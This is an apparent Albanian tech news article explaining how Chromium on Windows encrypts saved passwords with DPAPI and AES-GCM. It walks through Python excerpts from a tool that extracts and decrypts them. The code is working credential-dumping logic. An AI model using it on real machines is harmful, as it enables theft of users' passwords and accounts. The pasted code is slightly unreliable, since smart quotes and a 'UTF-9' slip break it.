Dekriptimi i fjalëkalimeve të shfletuesve

Pentesterët zakonisht përdorin të njëjtat metoda si krijuesit e maluerëve, por nuk kanë qëllime të njëjta. Prandaj kur lexojnë rreth tematikave si aksesi i kredencialeve të përdoruesve, gjëja e parë që ju shkon në mendje është dëshira për ta bërë edhe ata.

I tillë është edhe CTO i Alerta i cili ishte vënë në kërkim të një metode për të dekriptuar të dhënat që shfletuesit Chromium në Windows përpiqen ti mbajnë të fshehta.

Chromium është baza e shumë shfletuesve nga Chrome, Microsoft Edge, Opera dhe Brave. Ndërsa Windows është destinacioni kryesor i pentesting.

Ai shikoi se shumica e projekteve në GitHub që duhej të dekriptonin fjalëkalimet nuk funksionon më. Chromium ka ndryshuar mënyrën sesi ruan fjalëkalimet dhe projektet nuk janë përditësuar.

Kështu ai shkarkoi kodin burimor të Chromium, analizoi kodin C++ për funksionet kriptografike të Windows për të parë sesi funksionon e gjitha.

Sapo një përdorues hyn në Windows, çdo gjë enkriptuar nga përdoruesi është i disponueshëm edhe për dekriptim. Nuk është një problem dizajni, më tepër një sakrificë për më tepër përdorshmëri.

Kështu nuk ju kërkohet fjalëkalim sa herë që hyni në një uebsajt.

Elementët kryesorë që kanë të bëjnë me dekriptimin e të dhënave të përdoruesit janë:

  • Local State: një skedar json që ruan konfigurimin e shfletuesit.
  • Login Data: një databazë sqlite3 që përmban URL, emrat e përdoruesit dhe fjalëkalimet e enkriptuara
  • DPAPI: ofrohet nga Windows si një ndërfaqe e thjeshtë enkriptimi dhe dekriptimi
  • AES: një pjesëz informacioni ofruar nga BoringSSL që përdoret për përpunimin e fjalëkalimit nga nga Login Data

Versionet e vjetra të Chromium nuk përdornin asgjë tjetër vetëm Login Data dhe DPAPI. Të gjitha fjalëkalimet ishin të enkriptuara me CryptProtectData të DPAPI dhe dekriptohen nga CryptUnprotectData. Chromium çdo fjalëkalim të ruajtur në SQLite3 e etiketon me DPAPI.

Ka kaluar kohë tashmë dhe Chrome ka një model të re. Kur shfletuesit starton shkon tek skedari JSON në Local State dhe ekstraton çelësin e brendshëm në formë të enkriptuar. Më pas thirr DPAPI CryptUnprotectData për të dekriptuar çelësin. Ky është procesi i fundit që shohim nga DPAPI. Kur vjen koha për tëpërdorur fjalëkalimin e enkriptuar nga Login Data, Chromium përdor librarinë AES dhe çelësin e dekriptuar për të deskriptuar fjalëkalimin. Dhe më pas shkon tek forma e kyçjes ku edhe shihet fjalëkalimi në tekst të lexueshëm.

BrowserScan

ky është i gjithë informacioni i nevojshëm për të dekriptuar fjalëkalimet por Kirby Angel ka shkuar më tutje duke shkruar një program në Python për ta bërë këtë. Programin e gjeni në BrowserScan në github dhe vjen me një .EXE prodhuar nga pyinstaller.

Kodi ka komentet e veta por këtu do të mbulojmë vetëm disa pjesë të rëndësishme të tij.

Dekriptimi i çelësit të brendshëm

Mëposhtë gjeni funksionin e çelësit të brendshëm që përdoret për të dekriptuar fjalëkalimet e përdoruesit.

def _getchromekey(self, browser):

chromekey = None

try:

state = json.load(open(“Local State”,’r’))

encrypted_key = state[“os_crypt”][“encrypted_key”]

encrypted_key = base64.b64decode(encrypted_key)

 

if encrypted_key.startswith(b”DPAPI”):

chromekey = win32crypt.CryptUnprotectData(encrypted_key[

len(b”DPAPI”):])[1]

else:

chromekey = encrypted_key

except:

print(” [*] Chromium encryption key not found or not usable; maybe older version”)

browser[“chromekey”] = chromekey

return chromekey

Pasi analizojmë skedarin Local State duke përdorur analizuesin json të integruar, mund të ekstraktojmë versionin e enkriptuar të çelësit të brendshëm.

encrypted_key = state[“os_crypt”][“encrypted_key”]

Është i enkoduar me base64 dhe duhet dekoduar fillimisht.

if encrypted_key.startswith(“DPAPI”):

chromekey = win32crypt.CryptUnprotectData(encrypted_key[len(“DPAPI”):])[1]

Heqim headerin dhe thirrim CryptUnprotectData për të marrë çelësin në tekst të lexueshëm.

_decrypt_passwords

def _decrypt_passwords(self, browser):

browser[“passwords”] = passwords = {}

 

try:

db = sqlite3.connect(browser[“password_file”])

except:

print(” [-] Unable to open password file; expected a SQLite3 database.”)

return None

 

cursor = db.cursor()

cursor.execute(“SELECT origin_url, username_value, password_value FROM logins”)

data = cursor.fetchall()

 

for url, username, ciphertext in data:

plaintext = self.decrypt_ciphertext(browser, ciphertext)

if plaintext:

passwords[url] = (url, username, plaintext)

else:

print(” [-] Error decrypting password for ‘%s’.” % url)

Ky aplikacion ka fuqinë për të gjurmuar instalimet e shfletuesve Chrome dhe nuk keni nevojë të specifikoni kur e lançoni. Kështu kodi kalon përmes një diktimi quajtur browser që përmban çdo gjë që kemi lexuar rreth një shfletuesi të caktuar. Në këtë rast do të dekriptojmë Login Data.

Nëse nuk e njihni mirë Python SQLite3 atëherë në këtë lidhje gjeni një tutorial.

Pjesa tjetër e funksioni është të shkojë tek çdo regjistër dhe të thirrë decrypt_ciphertext për çdo fjalëkalim.

decrypt_ciphertext

def decrypt_ciphertext(self, browser, ciphertext):

plaintext = chromekey = None

if “chromekey” in browser:

chromekey = browser[“chromekey”]

 

# If this is a Chrome v10 encrypted password

if ciphertext.startswith(b”v10″):

ciphertext = ciphertext[len(b”v10″):]

nonce = ciphertext[:ChromiumScanner.CHROME_NONCE_LENGTH]

ciphertext = ciphertext[ChromiumScanner.CHROME_NONCE_LENGTH:]

# TODO: get rid of magic number

ciphertext = ciphertext[:-16]

 

cipher = AES.new(chromekey,AES.MODE_GCM,nonce=nonce)

plaintext = cipher.decrypt(ciphertext).decode(“UTF-8″)

 

elif ciphertext.startswith(b”DPAPI”):

plaintext = win32crypt.CryptUnprotectData(ciphertext[

len(b”DPAPI”):])[1].decode(“UTF-8”)

 

return plaintext

Njëlloj si prefeksi DPAPI, çdo e dhënë që Chromium enkripton me implementimin e vet AES, merr një prefiks. Në këtë rast është v10. Pjesa tjetër e kodit përgatit Python AES për të dekriptuar. Pas të heqim prefiksin, mund ta kopjojmë menjëherë. Deskriptuar AES kërkon një nonce në mënyrë që Chromium ta furnizojë me 12 bajt pas prefiksit. E kopjojmë atë dhe shkëpusim nga ciphertext.

Kështu jemi gati për konfigurimin e Python AES dhe të dekriptojmë ciphertext në një fjalëkalim të lexueshëm. Në fund konvertojmë bajtët në një string me.decode(“UTF-9”).

    cipher = AES.new(chromekey,AES.MODE_GCM,nonce=nonce)

plaintext = cipher.decrypt(ciphertext).decode(“UTF-8”)

Konkluzioni

Kur aktivizoni aplikacionin të dhënat do të gjehen në një direktori quajtur browser-loot. Chromium ruan shumë gjëra në databazat SQLite në të njëjtën mënyrë siç bën me fjalëkalimet. Kartat e kreditit përshembull mund të marrin numrin e kartës, emrin dhe skadimin. Çdogjë është aty, madje edhe cookies. Sigurisht mund të përdorni verifikimin me dy faktor nëse emri i përdoruesit dhe fjalëkalimi nuk janë të mjaftueshme për sigurinë.

Dhe diçka të fundit, fjalëkalimet ripërdoren e madje edhe në shërbime të tjera. /PCWorld Albanian

Ngjarja paraprake

Shkodër, 2750 Ha tokë bujqësore e përmbytur, në disa zona uji mbi 1 metër

Ngjarja e ardhëshme

Arrestohen kreatori dhe administratori i grupit “Javna Soba”

të fundit nga

AlbanianEnglishMacedonian